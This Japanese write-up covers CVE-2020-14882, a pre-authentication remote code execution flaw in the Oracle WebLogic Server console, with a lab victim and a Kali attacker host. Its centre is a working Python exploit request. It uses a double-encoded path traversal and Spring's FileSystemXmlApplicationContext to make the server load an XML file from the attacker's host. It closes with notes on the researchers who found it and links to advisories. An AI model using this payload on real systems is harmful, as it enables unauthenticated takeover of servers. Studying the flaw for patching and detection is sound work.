
Oracle WebLogic Serverの乗っ取り
CVE-2020-14882は、Oracle WebLogic ServerのConsoleコンポーネントにおけるリモートコード実行(RCE)の欠陥です。この認証前の欠陥は、攻撃の複雑さが「低い」と評価され、Oracleによって「容易に悪用可能」として強調され、CVSSv3スコア9.8の重大な評価を受けました。悪用に成功すると、認証されていない攻撃者がHTTPを介してOracle WebLogicサーバーを侵害し、ホストを完全に制御できるようになります。(詳細 - Tenable)
影響を受けるサポート対象バージョンは、10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0です。
被害者(WebLogicサーバー): 192.168.0.15 - Windows 10 PRO(WebLogic Server実行中)
攻撃者(XMLファイルホスト): 192.168.0.16 - Kali Linux - GNU/Linux - Debian
ペイロード:
import requests
url = http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \
'?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' \
'(%22http://192.168.0.16:8000/Documents/teste.xml%22)'.format('192.168.0.15', '7001')
response = requests.get(url)
このペイロードは、Spring FrameworkのXMLライブラリを呼び出し、攻撃者のドメイン内のサーバーにリクエストを送信してteste.xmlファイルを探します。
10月28日、Jangというセキュリティ研究者がCVE-2020-14882に関するブログ記事(ベトナム語)を公開し、PoCに使用できる部分的な詳細を含めました。JangはWebLogicの脆弱性には精通しており、CVE-2020-2555を発見・報告し、Oracleは2020年1月のCPUでその脆弱性を修正しました。3月、JangはCVE-2020-2555が完全に修正されていないことを確認しました。CVE-2020-2555のバイパスは、別の研究者であるVNPT情報セキュリティセンター(ISC)のQuynh Leによって開示されました。LeとJangの両者がこのバイパスの報告者としてクレジットされており、これはCVE-2020-2883として識別されています。(詳細 - Tenable)
Oracle WebLogic: CVE-2020-14882 : クリティカルパッチアップデート(ドキュメントID 2771503.1)(Oracleサポート)
Oracle Critical Patch Update Advisory - 2020年10月(Oracleサポート)
CVE-2020-14882 Weblogicの影響を軽減する方法(Oracleサポート)
Oracle Fusion MiddlewareのOracle WebLogic Server製品の脆弱性(Mitre - CVE)